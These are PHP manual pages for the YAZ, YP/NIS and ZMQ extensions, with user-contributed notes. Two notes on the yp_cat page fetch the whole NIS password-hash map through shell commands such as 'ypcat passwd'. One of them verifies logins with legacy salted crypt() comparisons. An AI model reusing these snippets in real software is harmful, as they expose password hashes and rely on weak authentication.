            (2,7)Transworld Publishers, ltd.
This record has two nodes at root level. First element at root level is (4,52) [tag type 4, tag value 52], and has data Robert M. Pirsig. Second element at root level (4,70) has a subtree with a single element (4,90). (4,90) has yet another sub tree (2,7) with data Transworld Publishers, ltd..

If this record is present at position $p, then

<?php

$ar = yaz_record($id, $p, "array");
print_r($ar);

?>
will output:
Array
(
    [0] => Array
        (
            [0] => (4,52)
            [1] => Robert M. Pirsig
        )
    [1] => Array
        (
            [0] => (4,70)
        )
    [2] => Array
        (
            [0] => (4,70)(4,90)
        )
    [3] => Array
        (
            [0] => (4,70)(4,90)(2,7)
            [1] => Transworld Publishers, ltd.
        )
)

Example #2 Working with MARCXML

The following PHP snippet returns a MARC21/USMARC record as MARCXML. The original record is returned in marc-8 (unknown to most XML parsers), so we convert it to UTF-8 (which all XML parsers must support).

<?php
$rec = yaz_record($id, $p, "xml; charset=marc-8,utf-8");
?>

The record $rec can be processed with the Sablotron XSLT processor as follows:

<?php

$xslfile = 'display.xsl';
$processor = xslt_create();
$parms = array('/_xml' => $rec);
$res = xslt_process($processor, 'arg:/_xml', $xslfile, NULL, $parms);
xslt_free($processor);
$res = preg_replace("'</?html[^>]*>'", '', $res);
echo $res;

?>

For PHP 5 the XSL extension must be used instead of Sablotron XSLT.

User Contributed Notes

There are no user contributed notes for this page.


Returns Scan Response result

  • « yaz_record
  • yaz_scan »
  • PHP Manual
  • YAZ Functions
  • Returns Scan Response result

yaz_scan_result

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_scan_result — Returns Scan Response result

Description

array yaz_scan_result ( resource $id [, array &$result ] )

yaz_scan_result() returns terms and associated information as received from the server in the last performed yaz_scan().

Parameters

id

The connection resource returned by yaz_connect().

result

If given, this array will be modified to hold additional information taken from the Scan Response:

  • number - Number of entries returned

  • stepsize - Step size

  • position - Position of term

  • status - Scan status

Return Values

Returns an array (0..n-1) where n is the number of terms returned. Each value is a pair where the first item is the term, and the second item is the result-count.

User Contributed Notes

There are no user contributed notes for this page.


Prepares for a scan

  • « yaz_scan_result
  • yaz_schema »
  • PHP Manual
  • YAZ Functions
  • Prepares for a scan

yaz_scan

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_scan — Prepares for a scan

Description

void yaz_scan ( resource $id , string $type , string $startterm [, array $flags ] )

This function prepares for a Z39.50 Scan Request on the specified connection.

To actually transfer the Scan Request to the server and receive the Scan Response, yaz_wait() must be called. Upon completion of yaz_wait() call yaz_error() and yaz_scan_result() to handle the response.

Parameters

id

The connection resource returned by yaz_connect().

type

Currently only type rpn is supported.

startterm

Starting term point for the scan.

The form in which the starting term is specified is given by parameter type.

The syntax this parameter is similar to the RPN query as described in yaz_search(). It consists of zero or more @attr-operator specifications, then followed by exactly one token.

flags

This optional parameter specifies additional information to control the behaviour of the scan request. Three indexes are currently read from the flags array: number (number of terms requested), position (preferred position of term) and stepSize (preferred step size).

Return Values

No value is returned.

Examples

Example #1 PHP function that scans titles

<?php
function scan_titles($id, $startterm)
{
  yaz_scan($id, "rpn", "@attr 1=4 " . $startterm);
  yaz_wait();
  $errno = yaz_errno($id);
  if ($errno == 0) {
    $ar = yaz_scan_result($id, $options);
    echo 'Scan ok; ';
    foreach ($options as $key => $val) {
      echo "$key = $val &nbsp;";
    }
    echo '<br /><table>';
    while (list($key, list($k, $term, $tcount)) = each($ar)) {
      if (empty($k)) continue;
      echo "<tr><td>$term</td><td>$tcount</td></tr>";
    }
    echo '</table>';
  } else {
    echo "Scan failed. Error: " . yaz_error($id) . "<br />";
  }
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Specifies schema for retrieval

  • « yaz_scan
  • yaz_search »
  • PHP Manual
  • YAZ Functions
  • Specifies schema for retrieval

yaz_schema

(PHP 4 >= 4.2.0, PECL yaz >= 0.9.0)

yaz_schema — Specifies schema for retrieval

Description

void yaz_schema ( resource $id , string $schema )

yaz_schema() specifies the schema for retrieval.

This function should be called before yaz_search() or yaz_present().

Parameters

id

The connection resource returned by yaz_connect().

schema

Must be specified as an OID (Object Identifier) in a raw dot-notation (like 1.2.840.10003.13.4) or as one of the known registered schemas: GILS-schema, Holdings, Zthes, ...

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Prepares for a search

  • « yaz_schema
  • yaz_set_option »
  • PHP Manual
  • YAZ Functions
  • Prepares for a search

yaz_search

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_search — Prepares for a search

Description

bool yaz_search ( resource $id , string $type , string $query )

yaz_search() prepares for a search on the given connection.

Like yaz_connect() this function is non-blocking and only prepares for a search to be executed later when yaz_wait() is called.

Parameters

id

The connection resource returned by yaz_connect().

type

This parameter represents the query type - only "rpn" is supported now in which case the third argument specifies a Type-1 query in prefix query notation.

query

The RPN query is a textual representation of the Type-1 query as defined by the Z39.50 standard. However, in the text representation as used by YAZ a prefix notation is used, that is the operator precedes the operands. The query string is a sequence of tokens where white space is ignored unless surrounded by double quotes. Tokens beginning with an at-character (@) are considered operators, otherwise they are treated as search terms.

RPN Operators
Construct | Description
@and query1 query2 | intersection of query1 and query2
@or query1 query2 | union of query1 and query2
@not query1 query2 | query1 and not query2
@set name | result set reference
@attrset set query | specifies attribute-set for query. This construction is only allowed once - in the beginning of the whole query
@attr [set] type=value query | applies attribute to query. The type and value are integers specifying the attribute-type and attribute-value respectively. The set, if given, specifies the attribute-set.

You can find information about attributes at the » Z39.50 Maintenance Agency site.

Note:

If you would like to use a more friendly notation, use the CCL parser - functions yaz_ccl_conf() and yaz_ccl_parse().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Query Examples

You can search for simple terms, like this:

computer
which matches documents where "computer" occur. No attributes are specified.

The query

"knuth donald"
matches documents where "knuth donald" occur (provided that the server supports phrase search).

This query applies two attributes for the same phrase.

@attr 1=1003 @attr 4=1 "knuth donald"
First attribute is type 1 (Bib-1 use), attribute value is 1003 (Author). Second attribute has is type 4 (structure), value 1 (phrase), so this should match documents where Donald Knuth is author.

The query

@and @or a b @not @or c d e
would in infix notation look like (a or b) and ((c or d) not e).

Another, more complex, one:

@attrset gils @and @attr 1=4 art @attr 1=2000 company
The query as a whole uses the GILS attributeset. The query matches documents where art occur in the title (GILS,BIB-1) and in which company occur as Distributor (GILS).

User Contributed Notes

k dot andris at gmail dot com 18-Jun-2009 12:49
To display holdings data set the syntax and the record format to "opac" (at least for Horizon ILS). It will give you an xml, containg <holding> elements with all info:

<?php
$z = yaz_connect(...
yaz_syntax($z, 'opac');
yaz_search($z, 'rpn', '@attr 1=4 "title%"');
yaz_wait();
$hits = yaz_hits($z);
yaz_range($z, 1, $hits);
yaz_present($z);
for($i = 1; $i <= $hits; $i++)
       my_display(yaz_record($z, $i, 'opac'));
yaz_close($z);

function my_display($s)
{
  $lines = explode("\n", trim($s));
    var_dump($lines);
}
?>
Colibri 22-Jan-2009 05:42
When querying a SRU/SRW server, the "type" parameter must(?) be specified as "cql", e.g.
yaz_search($handle, "cql", "bath.isbn=1234");
jwohlers at mail dot wcc dot cc dot il dot us 01-Feb-2002 02:21
Quick Reference For Attribute Fields
(eg: "@attr 2=" refers to the Relation attribute)
1 = Use Field
2 = Relation
3 = Position
4 = Structure
5 = Truncate
6 = Completeness


Sets one or more options for connection

  • « yaz_search
  • yaz_sort »
  • PHP Manual
  • YAZ Functions
  • Sets one or more options for connection

yaz_set_option

(PECL yaz >= 0.9.0)

yaz_set_option — Sets one or more options for connection

Description

void yaz_set_option ( resource $id , string $name , string $value )
void yaz_set_option ( resource $id , array $options )

Sets one or more options on the given connection.

Parameters

id

The connection resource returned by yaz_connect().

name or options

May be either a string or an array.

If given as a string, this will be the name of the option to set. You'll need to give it's value.

If given as an array, this will be an associative array (option name => option value).

PHP/YAZ Connection Options
Name | Description
implementationName | implementation name of server
implementationVersion | implementation version of server
implementationId | implementation ID of server
schema | schema for retrieval. By default, no schema is used. Setting this option is equivalent to using function yaz_schema()
preferredRecordSyntax | record syntax for retrieval. By default, no syntax is used. Setting this option is equivalent to using function yaz_syntax()
start | offset for first record to be retrieved via yaz_search() or yaz_present(). First record is numbered has a start value of 0. Second record has start value 1. Setting this option in combination with option count has the same effect as calling yaz_range() except that records are numbered from 1 in yaz_range()
count | maximum number of records to be retrieved via yaz_search() or yaz_present().
elementSetName | element-set-name for retrieval. Setting this option is equivalent to calling yaz_element().
value

The new value of the option. Use this only if the previous argument is a string.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets sorting criteria

  • « yaz_set_option
  • yaz_syntax »
  • PHP Manual
  • YAZ Functions
  • Sets sorting criteria

yaz_sort

(PHP 4 >= 4.0.7, PECL yaz >= 0.9.0)

yaz_sort — Sets sorting criteria

Description

void yaz_sort ( resource $id , string $criteria )

This function sets sorting criteria and enables Z39.50 Sort.

Call this function before yaz_search(). Using this function alone does not have any effect. When used in conjunction with yaz_search(), a Z39.50 Sort will be sent after a search response has been received and before any records are retrieved with Z39.50 Present (yaz_present().

Parameters

id

The connection resource returned by yaz_connect().

criteria

A string that takes the form field1 flags1 field2 flags2 where field1 specifies the primary attributes for sort, field2 seconds, etc..

The field specifies either a numerical attribute combinations consisting of type=value pairs separated by comma (e.g. 1=4,2=1) ; or the field may specify a plain string criteria (e.g. title. The flags is a sequence of the following characters which may not be separated by any white space.

Sort Flags
a

Sort ascending

d

Sort descending

i

Case insensitive sorting

s

Case sensitive sorting

Return Values

No value is returned.

Examples

Example #1 Sort Criterias

To sort on Bib1 attribute title, case insensitive, and ascending you would use the following sort criteria:

1=4 ia

If the secondary sorting criteria should be author, case sensitive and ascending you would use:

1=4 ia 1=1003 sa

User Contributed Notes

peter at NOSPAMimtc dot gatech dot edu 26-Aug-2004 05:37
This information is located in several places in the documentation, but takes awhile to find.

yaz_sort() only works for fields that have an associated sort register.  Failure to link a sort register will generate the error "Cannot sort according to sequence".

The sort register is created in the default.idx file and referenced in the *.abs file.  This is the sort register setting in default.idx:

...
# Sort register (no mapping at all)
sort s
completeness 1
charmap string.chr
...

In the above code the "s" register is setup as the sort register.  Charmap string.chr defines the string conversion for diacritics.

This is the reference to the sort index in the *abs file:

...
elm (2,1)                   title                      !:w,!:p,!:s
...

In the above line the "!:s" causes a sort register to be created for the field.

Once the above changes have been made, reindex all the source records and restart the server.   Check for a "sort<fieldid>-0.mf" file in the zebra data directory to verify operation.  yaz_sort() should now work properly.


Specifies the preferred record syntax for retrieval

  • « yaz_sort
  • yaz_wait »
  • PHP Manual
  • YAZ Functions
  • Specifies the preferred record syntax for retrieval

yaz_syntax

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_syntax — Specifies the preferred record syntax for retrieval

Description

void yaz_syntax ( resource $id , string $syntax )

yaz_syntax() specifies the preferred record syntax for retrieval

This function should be called before yaz_search() or yaz_present().

Parameters

id

The connection resource returned by yaz_connect().

syntax

The syntax must be specified as an OID (Object Identifier) in a raw dot-notation (like 1.2.840.10003.5.10) or as one of the known registered record syntaxes (sutrs, usmarc, grs1, xml, etc.).

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Wait for Z39.50 requests to complete

  • « yaz_syntax
  • YP/NIS »
  • PHP Manual
  • YAZ Functions
  • Wait for Z39.50 requests to complete

yaz_wait

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_wait — Wait for Z39.50 requests to complete

Description

mixed yaz_wait ([ array &$options ] )

This function carries out networked (blocked) activity for outstanding
requests which have been prepared by the functions
yaz_connect(), yaz_search(),
yaz_present(), yaz_scan() and
yaz_itemorder().

yaz_wait() returns when all servers have either completed all requests or aborted (in case of errors).

Parameters

options

An associative array of options:

timeout

Sets timeout in seconds. If a server has not responded within the timeout it is considered dead and yaz_wait() returns. The default value for timeout is 15 seconds.

event

A boolean.

Return Values

Returns TRUE on success or FALSE on failure. In event mode, returns resource or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


YP/NIS

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • YP/NIS Functions
    • yp_all — Traverse the map and call a function on each entry
    • yp_cat — Return an array containing the entire map
    • yp_err_string — Returns the error string associated with the given error code
    • yp_errno — Returns the error code of the previous operation
    • yp_first — Returns the first key-value pair from the named map
    • yp_get_default_domain — Fetches the machine's default NIS domain
    • yp_master — Returns the machine name of the master NIS server for a map
    • yp_match — Returns the matched line
    • yp_next — Returns the next key-value pair in the named map
    • yp_order — Returns the order number for a map

User Contributed Notes

There are no user contributed notes for this page.


Introduction

NIS (formerly called Yellow Pages) allows network management of important administrative files (e.g. the password file). For more information refer to the NIS manpage and » The Linux NIS(YP)/NYS/NIS+ HOWTO. There is also a book called » Managing NFS and NIS by Hal Stern.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

None besides functions from standard Unix libraries which are always available (either libc or libnsl, configure will detect which one to use).

User Contributed Notes

There are no user contributed notes for this page.


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/yp

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

YPERR_ACCESS (integer)
access violation (this has only been added recently and is only available from PECL SVN for now)
YPERR_BADARGS (integer)
The function arguments are bad
YPERR_BADDB (integer)
YP database is bad
YPERR_BUSY (integer)
Database busy
YPERR_DOMAIN (integer)
cannot bind to server in this domain
YPERR_KEY (integer)
no such key in map
YPERR_MAP (integer)
no such map in server's domain
YPERR_NODOM (integer)
Local domain name not set
YPERR_NOMORE (integer)
No more records in map database
YPERR_PMAP (integer)
Can't communicate with portmapper
YPERR_RESRC (integer)
resource allocation failure
YPERR_RPC (integer)
RPC failure - domain has been unbound
YPERR_YPBIND (integer)
Can't communicate with ypbind
YPERR_YPERR (integer)
internal yp server or client error
YPERR_YPSERV (integer)
Can't communicate with ypserv
YPERR_VERS (integer)
YP version mismatch

User Contributed Notes

There are no user contributed notes for this page.


YP/NIS Functions

Table of Contents

  • yp_all — Traverse the map and call a function on each entry
  • yp_cat — Return an array containing the entire map
  • yp_err_string — Returns the error string associated with the given error code
  • yp_errno — Returns the error code of the previous operation
  • yp_first — Returns the first key-value pair from the named map
  • yp_get_default_domain — Fetches the machine's default NIS domain
  • yp_master — Returns the machine name of the master NIS server for a map
  • yp_match — Returns the matched line
  • yp_next — Returns the next key-value pair in the named map
  • yp_order — Returns the order number for a map

User Contributed Notes

mkirk at cs dot umn dot edu 01-May-2007 06:48
more specifically, you can find the pecl extension here:

http://pecl.php.net/package/yp

Only the download though. As of posting no documentation lives there.


Traverse the map and call a function on each entry

  • « YP/NIS Functions
  • yp_cat »
  • PHP Manual
  • YP/NIS Functions
  • Traverse the map and call a function on each entry

yp_all

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5)

yp_all — Traverse the map and call a function on each entry

Description

void yp_all ( string $domain , string $map , string $callback )

Warning

This function is currently not documented; only its argument list is available.

Parameters

domain

The NIS domain name.

map

The NIS map.

callback

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Return an array containing the entire map

  • « yp_all
  • yp_err_string »
  • PHP Manual
  • YP/NIS Functions
  • Return an array containing the entire map

yp_cat

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5)

yp_cat — Return an array containing the entire map

Description

array yp_cat ( string $domain , string $map )

Returns all map entries.

Parameters

domain

The NIS domain name.

map

The NIS map.

Return Values

Returns an array of all map entries, the maps key values as array indices and the maps entries as array data.

User Contributed Notes

Nicholas Humfrey 22-Jan-2007 11:15
yp_cat is lacking in PHP5 - this is a suitable (slow, forking) replacement...

<?php
    $handle = popen( 'ypcat passwd.byname', 'r' );
    while (($line = fgets($handle, 1024)) !== FALSE) {
        list($user,$pass,$uid,$gid,$gcos,$home,$shell) = explode (':', $line);
        list($name,$room,$work,$home,$position)  = explode (',', $gcos);

        ## Do Stuff ##

    }
    pclose( $handle );
?>
20-Feb-2006 12:26
I hope this will userfull to somebody:

function auth_by_nis($login,$password,$nis_domain='-d xxx_nis',$nis_host='-h xxx.it')
{
    $output = shell_exec("ypcat $nis_domain $nis_host passwd");
    $lines=split("\n",$output);
    foreach ($lines as $k=>$v)
    {
        list($login_nis,$pw_nis)=split(":",$v);
        if ($login_nis != $login)continue;
        //login trovata: ora si verifica la password
        $salt=substr( $pw_nis , 0 ,2);
        $pass_cript=crypt($password, $salt);
        if($pass_cript == $pw_nis) return 1;
        else return 0;
    }
    return 0;
}


Returns the error string associated with the given error code

  • « yp_cat
  • yp_errno »
  • PHP Manual
  • YP/NIS Functions
  • Returns the error string associated with the given error code

yp_err_string

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5)

yp_err_string — Returns the error string associated with the given error code

Description

string yp_err_string ( int $errorcode )

Returns the error message associated with the given error code. Useful to indicate what exactly went wrong.

Parameters

errorcode

The error code.

Return Values

Returns the error message, as a string.

Examples

Example #1 Example for NIS errors

<?php
echo "Error: " . yp_err_string(yp_errno());
?>

See Also

  • yp_errno() - Returns the error code of the previous operation

User Contributed Notes

There are no user contributed notes for this page.


Returns the error code of the previous operation

  • « yp_err_string
  • yp_first »
  • PHP Manual
  • YP/NIS Functions
  • Returns the error code of the previous operation

yp_errno

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5)

yp_errno — Returns the error code of the previous operation

Description

int yp_errno ( void )

Returns the error code of the previous operation.

Return Values

Returns one of the YPERR_XXX error constants.

See Also

  • yp_err_string() - Returns the error string associated with the given error code

User Contributed Notes

There are no user contributed notes for this page.


Returns the first key-value pair from the named map

  • « yp_errno
  • yp_get_default_domain »
  • PHP Manual
  • YP/NIS Functions
  • Returns the first key-value pair from the named map

yp_first

(PHP 4, PHP 5 <= 5.0.5)

yp_first — Returns the first key-value pair from the named map

Description

array yp_first ( string $domain , string $map )

Gets the first key-value pair from the named map in the named domain.

Parameters

domain

The NIS domain name.

map

The NIS map.

Return Values

Returns the first key-value pair as an array on success, or FALSE on errors.

Examples

Example #1 Example for the NIS first

<?php
$entry = yp_first($domain, "passwd.byname");

$key = key($entry);
$value = $entry[$key];

echo "First entry in this map has key " . $key . " and value " . $value;
?>

See Also

  • yp_next() - Returns the next key-value pair in the named map
  • yp_get_default_domain() - Fetches the machine's default NIS domain

User Contributed Notes

There are no user contributed notes for this page.


Fetches the machine's default NIS domain

  • « yp_first
  • yp_master »
  • PHP Manual
  • YP/NIS Functions
  • Fetches the machine's default NIS domain

yp_get_default_domain

(PHP 4, PHP 5 <= 5.0.5)

yp_get_default_domain — Fetches the machine's default NIS domain

Description

string yp_get_default_domain ( void )

Returns the default domain of the node. Can be used as the domain parameter for successive NIS calls.

A NIS domain can be described a group of NIS maps. Every host that needs to look up information binds itself to a certain domain. Refer to the documents mentioned at the beginning for more detailed information.

Return Values

Returns the default domain of the node or FALSE. Can be used as the domain parameter for successive NIS calls.

Examples

Example #1 Example for the default domain

<?php
$domain = yp_get_default_domain();
echo "Default NIS domain is: " . $domain;
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the machine name of the master NIS server for a map

  • « yp_get_default_domain
  • yp_match »
  • PHP Manual
  • YP/NIS Functions
  • Returns the machine name of the master NIS server for a map

yp_master

(PHP 4, PHP 5 <= 5.0.5)

yp_master — Returns the machine name of the master NIS server for a map

Description

string yp_master ( string $domain , string $map )

Returns the machine name of the master NIS server for a map.

Parameters

domain

The NIS domain name.

map

The NIS map.

Return Values

Examples

Example #1 Example for the NIS master

<?php
$number = yp_master($domain, $mapname);
echo "Master for this map is: " . $master;
?>

See Also

  • yp_get_default_domain() - Fetches the machine's default NIS domain

User Contributed Notes

There are no user contributed notes for this page.


Returns the matched line

  • « yp_master
  • yp_next »
  • PHP Manual
  • YP/NIS Functions
  • Returns the matched line

yp_match

(PHP 4, PHP 5 <= 5.0.5)

yp_match — Returns the matched line

Description

string yp_match ( string $domain , string $map , string $key )

Returns the value associated with the passed key out of the specified map.

Parameters

domain

The NIS domain name.

map

The NIS map.

key

This key must be exact.

Return Values

Returns the value, or FALSE on errors.

Examples

Example #1 Example for NIS match

<?php
$entry = yp_match($domain, "passwd.byname", "joe");
echo "Matched entry is: " . $entry;
?>

The above example will output something similar to:

joe:##joe:11111:100:Joe User:/home/j/joe:/usr/local/bin/bash

See Also

  • yp_get_default_domain() - Fetches the machine's default NIS domain

User Contributed Notes

There are no user contributed notes for this page.


Returns the next key-value pair in the named map

  • « yp_match
  • yp_order »
  • PHP Manual
  • YP/NIS Functions
  • Returns the next key-value pair in the named map

yp_next

(PHP 4, PHP 5 <= 5.0.5)

yp_next — Returns the next key-value pair in the named map

Description

array yp_next ( string $domain , string $map , string $key )

Returns the next key-value pair in the named map after the specified key.

Parameters

domain

map

key

Return Values

Returns the next key-value pair as an array, or FALSE on errors.

Examples

Example #1 Example for NIS next

<?php
$entry = yp_next($domain, "passwd.byname", "joe");

if (!$entry) {
    echo "No more entries found\n";
    echo "<!--" . yp_errno() . ": " . yp_err_string() . "-->";
}

$key = key($entry);

echo "The next entry after joe has key " . $key
      . " and value " . $entry[$key];
?>

See Also

  • yp_first() - Returns the first key-value pair from the named map
  • yp_get_default_domain() - Fetches the machine's default NIS domain

User Contributed Notes

russell dot brown at insignia dot nospam dot com 04-Jul-2001 05:45
If you combine yp_first and yp_next you can get the whole list:
function yp_list($domain, $map) {
   $entry = yp_first($domain, $map);
   $key = $entry ["key"];
   $yplist[$key] = $entry ["value"];

   while ($entry) {
      $entry = yp_next($domain, $map, $key);
      if ($entry) {
         $nextkey = key ($entry);
         $yplist[$nextkey] = $entry[$nextkey];
         $key = $nextkey;
      }
   }
   return $yplist;
}


Returns the order number for a map

  • « yp_next
  • 0MQ messaging »
  • PHP Manual
  • YP/NIS Functions
  • Returns the order number for a map

yp_order

(PHP 4, PHP 5 <= 5.0.5)

yp_order — Returns the order number for a map

Description

int yp_order ( string $domain , string $map )

Gets the order number for a map.

Parameters

domain

map

Return Values

Returns the order number for a map or FALSE on error.

Examples

Example #1 Example for the NIS order

<?php
    $number = yp_order($domain, $mapname);
    echo "Order number for this map is: " . $number;
?>

See Also

  • yp_get_default_domain() - Fetches the machine's default NIS domain

User Contributed Notes

There are no user contributed notes for this page.


ZMQ

  • Introduction
  • Installing/Configuring
    • Requirements
  • ZMQ — The ZMQ class
    • ZMQ::__construct — ZMQ constructor
  • ZMQContext — The ZMQContext class
    • ZMQContext::__construct — Construct a new ZMQContext object
    • ZMQContext::getOpt — Get context option
    • ZMQContext::getSocket — Create a new socket
    • ZMQContext::isPersistent — Whether the context is persistent
    • ZMQContext::setOpt — Set a socket option
  • ZMQSocket — The ZMQSocket class
    • ZMQSocket::bind — Bind the socket
    • ZMQSocket::connect — Connect the socket
    • ZMQSocket::__construct — Construct a new ZMQSocket
    • ZMQSocket::disconnect — Disconnect a socket
    • ZMQSocket::getEndpoints — Get list of endpoints
    • ZMQSocket::getPersistentId — Get the persistent id
    • ZMQSocket::getSocketType — Get the socket type
    • ZMQSocket::getSockOpt — Get socket option
    • ZMQSocket::isPersistent — Whether the socket is persistent
    • ZMQSocket::recv — Receives a message
    • ZMQSocket::recvMulti — Receives a multipart message
    • ZMQSocket::send — Sends a message
    • ZMQSocket::sendmulti — Sends a multipart message
    • ZMQSocket::setSockOpt — Set a socket option
    • ZMQSocket::unbind — Unbind the socket
  • ZMQPoll — The ZMQPoll class
    • ZMQPoll::add — Add item to the poll set
    • ZMQPoll::clear — Clear the poll set
    • ZMQPoll::count — Count items in the poll set
    • ZMQPoll::getLastErrors — Get poll errors
    • ZMQPoll::poll — Poll the items
    • ZMQPoll::remove — Remove item from poll set
  • ZMQDevice — The ZMQDevice class
    • ZMQDevice::__construct — Construct a new device
    • ZMQDevice::getIdleTimeout — Get the idle timeout
    • ZMQDevice::getTimerTimeout — Get the timer timeout
    • ZMQDevice::run — Run the new device
    • ZMQDevice::setIdleCallback — Set the idle callback function
    • ZMQDevice::setIdleTimeout — Set the idle timeout
    • ZMQDevice::setTimerCallback — Set the timer callback function
    • ZMQDevice::setTimerTimeout — Set the timer timeout

User Contributed Notes

There are no user contributed notes for this page.


Introduction

"ØMQ is a software library that lets you quickly design and implement a fast message-based application." --0MQ Website

For more information about 0MQ, see » http://zeromq.org/.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements

User Contributed Notes

felipsmartins at gmail dot com 07-Jul-2014 10:44
Installing and configuring ZMQ:

The following exemples is based on Debian Linux  but it should work in other OS.

First:
Installing 0MQ:
Go to http://zeromq.org/area:download and choose a package according your OS, in my case I've choosed
POSIX tarball Stable Release 4.0.4.

    ~$ tar -xvf zeromq-4.0.4.tar
    ~$ cd zeromq-4.0.4
    ~$ ./configure
    ~$ make
    ~$ sudo make install

Ok, we just have installed ZMQ now need install zmq php binding...
Make sure you having php-dev and php pear installed. If no:

    ~$ sudo apt-get install php5-dev php-pear
    ~$ sudo pecl install zmq-beta

Ok, we have now ZMQ and php binding (ext-php) installed but we should add "extension=zmq.so" (Or extension=php_zmq.dll on windows) to php.ini:
In my case:

    ~$ sudo nano /etc/php5/apache2/php.ini

**NOTE:** If PHP version is 5.4.x you will need to add a zmq.ini file in /etc/php5/conf.d and put "extension=zmq.so":

    ~$ sudo nano /etc/php5/conf.d/20-zmq.ini

Reloadind HTTP server (in my case apache):

    ~$  sudo service apache2 reload


Requirements

ZMQ extension requires 0MQ version 2.0.7 or higher. 0MQ can be acquired from » http://zeromq.org/area:download.

Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/zmq

User Contributed Notes

There are no user contributed notes for this page.


The ZMQ class

(No version information available, might only be in Git)

Introduction

Class synopsis

ZMQ {
/* Constants */
const integer SOCKET_PAIR ;
const integer SOCKET_PUB ;
const integer SOCKET_SUB ;
const integer SOCKET_REQ ;
const integer SOCKET_REP ;
const integer SOCKET_XREQ ;
const integer SOCKET_XREP ;
const integer SOCKET_PUSH ;
const integer SOCKET_PULL ;
const integer SOCKET_ROUTER ;
const integer SOCKET_DEALER ;
const integer SOCKET_XPUB ;
const integer SOCKET_XSUB ;
const integer SOCKET_STREAM ;
const integer SOCKOPT_HWM ;
const integer SOCKOPT_SNDHWM ;
const integer SOCKOPT_RCVHWM ;
const integer SOCKOPT_AFFINITY ;
const integer SOCKOPT_IDENTITY ;
const integer SOCKOPT_SUBSCRIBE ;
const integer SOCKOPT_UNSUBSCRIBE ;
const integer SOCKOPT_RATE ;
const integer SOCKOPT_RECOVERY_IVL ;
const integer SOCKOPT_RECONNECT_IVL ;
const integer SOCKOPT_RECONNECT_IVL_MAX ;
const integer SOCKOPT_MCAST_LOOP ;
const integer SOCKOPT_SNDBUF ;
const integer SOCKOPT_RCVBUF ;
const integer SOCKOPT_RCVMORE ;
const integer SOCKOPT_TYPE ;
const integer SOCKOPT_LINGER ;
const integer SOCKOPT_BACKLOG ;
const integer SOCKOPT_MAXMSGSIZE ;
const integer SOCKOPT_SNDTIMEO ;
const integer SOCKOPT_RCVTIMEO ;
const integer SOCKOPT_IPV4ONLY ;
const integer SOCKOPT_LAST_ENDPOINT ;
const integer SOCKOPT_TCP_KEEPALIVE_IDLE ;
const integer SOCKOPT_TCP_KEEPALIVE_CNT ;
const integer SOCKOPT_TCP_KEEPALIVE_INTVL ;
const integer SOCKOPT_TCP_ACCEPT_FILTER ;
const integer SOCKOPT_TCP_ACCEPT_FILTER ;
const integer SOCKOPT_DELAY_ATTACH_ON_CONNECT ;
const integer SOCKOPT_XPUB_VERBOSE ;
const integer SOCKOPT_ROUTER_RAW ;
const integer SOCKOPT_IPV6 ;
const integer CTXOPT_MAX_SOCKETS ;
const integer POLL_IN ;
const integer POLL_OUT ;
const integer MODE_NOBLOCK ;
const integer MODE_DONTWAIT ;
const integer MODE_SNDMORE ;
const integer ERR_INTERNAL ;
const integer ERR_EAGAIN ;
const integer ERR_ENOTSUP ;
const integer ERR_EFSM ;
const integer ERR_ETERM ;
/* Methods */
private__construct ( void )
}

Predefined Constants

ZMQ Constant Types

ZMQ::SOCKET_PAIR

Exclusive pair pattern

ZMQ::SOCKET_PUB

Publisher socket

ZMQ::SOCKET_SUB

Subscriber socket

ZMQ::SOCKET_REQ

Request socket

ZMQ::SOCKET_REP

Reply socket

ZMQ::SOCKET_XREQ

Alias for SOCKET_DEALER

ZMQ::SOCKET_XREP

Alias for SOCKET_ROUTER

ZMQ::SOCKET_PUSH

Pipeline upstream push socket

ZMQ::SOCKET_PULL

Pipeline downstream pull socket

ZMQ::SOCKET_ROUTER

Extended REP socket that can route replies to requesters

ZMQ::SOCKET_DEALER

Extended REQ socket that load balances to all connected peers

ZMQ::SOCKET_XPUB

Similar to SOCKET_PUB, except you can receive subscriptions as messages. The subscription message is 0 (unsubscribe) or 1 (subscribe) followed by the topic.

ZMQ::SOCKET_XSUB

Similar to SOCKET_SUB, except you can send subscriptions as messages. See SOCKET_XPUB for format.

ZMQ::SOCKET_STREAM

Used to send and receive TCP data from a non-ØMQ peer. Available if compiled against ZeroMQ 4.x or higher (Value: integer).

ZMQ::SOCKOPT_HWM

The high water mark for inbound and outbound messages is a hard limit on the maximum number of outstanding messages ØMQ shall queue in memory for any single peer that the specified socket is communicating with. Setting this option on a socket will only affect connections made after the option has been set. On ZeroMQ 3.x this is a wrapper for setting both SNDHWM and RCVHWM. (Value: integer).

ZMQ::SOCKOPT_SNDHWM

